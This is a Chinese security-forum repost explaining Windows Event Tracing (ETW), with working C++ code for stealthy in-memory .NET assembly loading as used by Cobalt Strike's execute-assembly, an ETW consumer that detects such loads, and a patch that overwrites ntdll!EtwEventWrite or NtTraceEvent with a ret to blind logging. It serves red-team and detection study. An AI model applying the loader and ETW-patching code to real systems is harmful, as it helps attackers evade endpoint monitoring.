安全矩阵

 找回密码
 立即注册
搜索
查看: 2287|回复: 0

ETW的攻与防

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-6-8 08:48:16 | 显示全部楼层 |阅读模式
原文链接:ETW的攻与防

  本文转自公众号:跳跳糖社区
前言
ETW全称为Event Tracing for Windows,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案,本文基于ETW探究其攻与防的实现
ETW
事件监测(Event Instrumentation)总会包含两个基本的实体,事件的提供者(ETW Provider)和消费者(ETW Consumer),ETW框架可以视为它们的中介。ETW Provider会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW框架。Consumer同样需要注册到ETW框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册ETW Consumer的筛选条件,ETW会调用相应的回调来处理该事件
ETW`针对事件的处理是在某个会话(`ETW Session`)中进行的,`ETW Session`提供了一个接收、存储、处理和分发事件的执行上下文。`ETW`框架可以创建多一个会话来处理由提供者程序发送的事件,但是`ETW Session`并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个`ETW Session`发送事件。对于接收到的事件,`ETW Session`可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。`ETW`会话的开启和终止是通过 `Session`的开启和终止是通过ETW控制器(`ETW Controller`)进行管理的。除了管理`ETW Session`之外,`ETW Controller`还可以禁用或者恢复注册到某个`ETW Session`上的`ETW Provider
在这里,我们可以看到所有已注册的ETW提供者及其对应GUID,我们还可以看到Microsoft-Windows-Threat-Intelligence突出显示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>注册表项的二进制清单文件因为这是一个Manifest-based ETW提供者
logman.exe query providers
image-20220512105644794.png
我们可以使用以下命令获取更多详细信息并了解提供程序支持的事件类型
logman.exe query providers Microsoft-Windows-Threat-Intelligence
image-20220512124646901.png
image-20220512110110750.png
也可以XML Manifest使用此工具检索文件,这使我们可以更详细地了解特定EtwTi事件记录的参数
image-20220512110147258.png
使用x nt!EtwTi*来查看内核里面的所有例程
image-20220512110528763.png
execute-assembly
cs3.11版本实现了在非托管程序中加载.net程序集的功能,这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell脚本能够很容易的转换为C#代码,十分方便,使用到的就是execute-assembly这个命令,这里我们用c#程序sharphound.exe进行演示,这个程序用来导出域内关系并可视化
execute-assembly D:\Bloodhound\SharpHound.exe -c all
image-20220513124718747.png
image-20220513124807622.png
首先我们来了解一下托管程序和非托管程序,说到这里就需要提一个CLRCLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。CLR.NET Framework的主要执行引擎,作用之一是监视程序的运行:
    • 在CLR监视之下运行的程序属于托管的代码
    • 不在CLR之下,直接在裸机上运行的应用或者组件属于非托管的代码
托管程序与非托管程序的概念如下
    托管代码就是Visual Basic .NETC#编译器编译出来的代码。编译器把代码编译成中间语言(IL),而不是能直接在你的电脑上运行的机器码。中间语言被封装在一个叫程序集 (assembly)的文件中,程序集中包含了描述你所创建的类,方法和属性(例如安全需求)的所有元数据。
    非托管代码就是在Visual Studio .NET 2002发布之前所创建的代码。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,连那些依然残存在你的硬盘中、拥有超过15年历史的陈旧C编译器所产生的代码都是非托管代码。托管代码直接编译成目标计算机的机械码,这些代 码只能运行在编译出它们的计算机上,或者是其它相同处理器或者几乎一样处理器的计算机上。
再就是Unmanaged API,它其实是一套能将.net程序集加载到任意程序里面的API,它支持ICorRuntimeHost InterfaceICLRRuntimeHost Interface两种接口,我们看一下msdn里面的描述
image-20220512153622148.png
其中ICorRuntimeHost Interface支持的版本有v1.0.3705, v1.1.4322, v2.0.50727v4.0.30319ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在实际的开发里面两种接口都是可以使用的
cs实现在非托管程序中加载主要是调用了ICLRRuntimeHost的接口,主要用到以下3个接口
    ICLRMetaHost
    ICLRRuntimeInfo
    ICLRRuntimeHost
ICLRMetaHost提供基于版本号返回特定版本的公共语言运行时 (CLR)、列出所有已安装的 CLR、列出在指定进程中加载的所有运行时、发现用于编译程序集的 CLR 版本、退出进程的方法干净的运行时关闭,并查询旧版 API 绑定
image-20220512154845367.png
ICLRRuntimeInfo提供一些方法,这些方法可返回有关特定公共语言运行时 (CLR) 的信息,包括版本、目录和加载状态。此接口还提供了特定于运行时的功能,而无需初始化运行时。它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口
image-20220512154925602.png
ICLRRuntimeHost`提供与 .NET Framework 版本1中提供的 `ICorRuntimeHost`接口类似的功能,其中包含以下更改: 用于设置宿主控件接口的 `SetHostControl`方法的添加,省略提供的某些方法 `ICorRuntimeHost
image-20220512155157965.png
硬盘加载
首先这里我们写一个Printf函数,使用Console.WriteLine接收
namespace etw1
{
    class Program
    {
        static int Main(String[] args)
        {
            return 1;
        }
        static int Printf(String strings)
        {
            Console.WriteLine(strings);
            return 1;
        }
    }
}
在服务端我们首先使用CLRCreateInstance初始化ICLRMetaHost接口
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);
然后调用GetRuntime方法获取ICLRRuntimeInfo接口
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);
再使用ICLRRuntimeInfoCLR加载到当前进程,返回运行时接口ICLRRuntimeHost指针
iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);
然后再通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序
    iRuntimeHost->ExecuteInDefaultAppDomain
    (L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);
实现效果如下
image-20220512182344215.png
内存加载
内存加载相对于硬盘加载,首先是整个过程都会在内存执行而不会写入文件,隐蔽性较好,而且最终的payloadc#程序,调用powershell十分方便利用
那么我们来进行代码的实现,首先还是初始化CLR环境
    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
    iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
    iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
    iRuntimeHost->Start();
然后使用ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针
    iRuntimeHost->GetDefaultDomain(&pAppDomain);
    pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
图片
image-20220512195501155.png
使用Load_3()从内存中读取并加载.NET程序集
    saBound[0].cElements = ASSEMBLY_LENGTH;
    saBound[0].lLbound = 0;
    SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);
    SafeArrayAccessData(pSafeArray, &pData);
    memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
    SafeArrayUnaccessData(pSafeArray);
    pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
    pAssembly->get_EntryPoint(&pMethodInfo);
创建安全数组并执行入口点
    ZeroMemory(&vRet, sizeof(VARIANT));
    ZeroMemory(&vObj, sizeof(VARIANT));
    vObj.vt = VT_NULL;
    vPsa.vt = (VT_ARRAY | VT_BSTR);
    args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
    if (argc > 1)
    {
        vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
        for (long i = 0; i < argc; i++)
        {
            SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv));
        }
        long idx[1] = { 0 };
        SafeArrayPutElement(args, idx, &vPsa);
    }
    HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
image-20220512211127018.png
image-20220512211108513.png
检测execute-assembly
一般检测execute-assembly都会使用windows事件跟踪,即ETW,例如这里启动一个powershell进程,通过procexp查看可以看到被CLR托管的dll
image-20220512214614676.png
image-20220513125227900.png
我们可以从processhacker工具源码里面的asmpage.c(https://github.com/processhacker ... tNetTools/asmpage.c)源码里面查看这类工具是怎样枚举`.net`工具集的,这里挑出关键代码编译成`etw2.exe`
static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
const char name[] = "dotnet trace\0";
#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
    ULONG64 AssemblyID;
    ULONG64 AppDomainID;
    ULONG64 BindingID;
    ULONG AssemblyFlags;
    WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
#pragma pack()
static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {
    PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
    PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
    AssemblyLoadUnloadRundown_V1* assemblyUserData;
    switch (eventDescriptor->Id) {
    case AssemblyDCStart_V1:
        assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
        wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
        break;
    }
}
int main(void)
{
    TRACEHANDLE hTrace = 0;
    ULONG result, bufferSize;
    EVENT_TRACE_LOGFILEA trace;
    EVENT_TRACE_PROPERTIES* traceProp;
    printf(".net_ETW_finder\n\n");
    memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
    trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    trace.LoggerName = (LPSTR)name;
    trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;
    bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);
    traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
    traceProp->Wnode.BufferSize = bufferSize;
    traceProp->Wnode.ClientContext = 2;
    traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
    traceProp->LogFileNameOffset = 0;
    traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
    if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
        printf("[!] Error starting trace: %d\n", result);
        return 1;
    }
    if ((result = EnableTraceEx(
        &ClrRuntimeProviderGuid,
        NULL,
        hTrace,
        1,
        TRACE_LEVEL_VERBOSE,
        0x8, // LoaderKeyword
        0,
        0,
        NULL
    )) != ERROR_SUCCESS) {
        printf("[!] Error EnableTraceEx\n");
        return 2;
    }
    hTrace = OpenTrace(&trace);
    if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
        printf("[!] Error OpenTrace\n");
        return 3;
    }
    result = ProcessTrace(&hTrace, 1, NULL, NULL);
    if (result != ERROR_SUCCESS) {
        printf("[!] Error ProcessTrace\n");
        return 4;
    }
    return 0;
}
首先cs上线
image-20220512212858818.png
然后启动我们的监控程序
image-20220512215550869.png
beacon里面调用SharpHound.exe,这里需要在域内且具有.net环境才能够运行成功,执行以下命令
execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4
image-20220512215639441.png
这里就会在exe存放的位置生成以下三个文件
image-20220512220715962.png
然后我们去看一下我们的监控程序,可以看到已经识别出了SharpHound的调用
image-20220512215704961.png
这里如果想要规避检测,可以更改程序名的名字,但是这里只要修改检测方法为显示可疑方法的名称即可
switch (eventDescriptor->Id) {
  case MethodLoadVerbose_V1:
    methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
    WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
    WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
    WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
    wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
}
这里通过select-string查找SharpHound方法
image-20220512213010406.png
这里还是启动一下我们的SharpHound程序
image-20220512213027871.png
image-20220512213036239.png
可以看到还是被监控到了Sharphound2.Sharphound方法
image-20220512213114820.png
规避ETW检测
通过查阅资料后发现ETWTRUE布尔参数传递到nt!EtwpStopTrace函数中,以查找 ETW特定结构并动态修改或修补ntdll!ETWEventWriteadvapi32!EventWrite立即返回从而停止用户模式记录器
也就是说在3ETW是通过ntdll.dllEtwEventWriteFull函数实现的
image-20220512222805809.png
往下跟发现调用了EtwEventWriteFull,然后EtwEventWriteFull调用EtwpEventWriteFull
image-20220512223054442.png
我们继续往下看EtwEventWriteFull函数,调用了NtTraceEvent
image-20220512223238120.png
继续跟NtTraceEvent,可以发现NtTraceEvent通过syscall进入内核
image-20220512223402930.png
这里我们可以打印一下地址
image-20220513122021737.png
那么我们在EtwEventWriteFull直接使用0xc3ret返回,即可达到绕过的效果,首先我们通过x64dbgpowershell验证一下
首先使用x64dbg创建一个powershell进程,这时x64dbg会在线程初始化前下一个断点
定位到ntdll!EtwEventWrite
image-20220512223941657.png
image-20220512223957730.png
一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接使用retC3返回即可
image-20220512224033566.png
查看CLR日志已经被清空
image-20220512224950161.png
这里通过代码实现,定位到ntdll!EtwEventWrite函数,然后在入口处ret返回即可,使用VirtualProtectEx修改属性
void bypassetw()
{
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);
    DWORD oldProtect;
    char patch = 0xc3;
    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
    VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
    ResumeThread(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    FreeLibrary(hNtdll);
    return 0;
}
实现效果如下,可以看到起了一个powershell进程,查看CLR日志也被清空
image-20220513104316834.png
这里可能某些EDRhookEtwEventWrite这个函数,那么我们直接往syscall0环的函数去挂钩,代码如下
unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);
可以看到CLR日志也被清空
image-20220513123017709.png


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 02:24 , Processed in 0.015201 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表